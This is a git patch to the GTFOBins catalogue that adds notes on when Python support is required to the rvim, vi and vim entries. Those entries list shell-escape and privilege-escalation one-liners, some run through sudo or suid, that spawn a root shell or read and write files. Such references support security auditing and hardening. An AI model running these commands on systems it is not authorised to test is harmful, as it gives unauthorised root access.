From 279381cf3c23877abde2436529ebdd4c92e9f1f0 Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Mon, 3 Dec 2018 13:15:57 +0000 Subject: [PATCH] Polish rvim, vi, and vim --- _gtfobins/rvim.md | 13 ++++++++----- _gtfobins/vi.md | 6 ++++-- _gtfobins/vim.md | 4 +++- 3 files changed, 15 insertions(+), 8 deletions(-) diff --git a/_gtfobins/rvim.md b/_gtfobins/rvim.md index 60faf0f..35554d1 100644 --- a/_gtfobins/rvim.md +++ b/_gtfobins/rvim.md @@ -1,10 +1,11 @@ --- -description: 'From the manual: with rvim "It will not be possible to start shell commands".' functions: shell: - - code: rvim -c ':py import os;os.system("sh")' + - description: This requires that rvim is compiled with Python support. + code: rvim -c ':py import os;os.system("sh")' file-write: - - code: | + - description: This requires that rvim is compiled with Python support. + code: | rvim file_to_write iDATA ^[ @@ -12,7 +13,9 @@ functions: file-read: - code: rvim file_to_read suid: - - code: ./rvim -c ':py import os;os.system("sh")' + - description: This requires that rvim is compiled with Python support. + code: ./rvim -c ':py import os;os.system("sh")' sudo: - - code: sudo rvim -c ':py import os;os.system("sh")' + - description: This requires that rvim is compiled with Python support. + code: sudo rvim -c ':py import os;os.system("sh")' --- diff --git a/_gtfobins/vi.md b/_gtfobins/vi.md index 8c326f9..9820ee7 100644 --- a/_gtfobins/vi.md +++ b/_gtfobins/vi.md @@ -6,7 +6,8 @@ functions: vi :set shell=/bin/sh :shell - - code: vi -c ':py import os;os.system("sh")' + - description: This requires that vi is compiled with Python support. + code: vi -c ':py import os;os.system("sh")' file-write: - code: | vi file_to_write @@ -19,5 +20,6 @@ functions: - code: ./vi -c ':!/bin/sh -p' sudo: - code: sudo vi -c ':!/bin/sh' - - code: sudo vi -c ':py import os;os.system("sh")' + - description: This requires that vi is compiled with Python support. + code: sudo vi -c ':py import os;os.system("sh")' --- diff --git a/_gtfobins/vim.md b/_gtfobins/vim.md index 523e613..d3c9a9d 100644 --- a/_gtfobins/vim.md +++ b/_gtfobins/vim.md @@ -6,7 +6,8 @@ functions: vim :set shell=/bin/sh :shell - - code: vim -c ':py import os;os.system("sh")' + - description: This requires that vim is compiled with Python support. + code: vim -c ':py import os;os.system("sh")' file-write: - code: | vim file_to_write @@ -20,4 +21,5 @@ functions: sudo: - code: sudo vim -c ':!/bin/sh' - code: sudo vim -c ':py import os;os.system("sh")' + description: This requires that vim is compiled with Python support. ---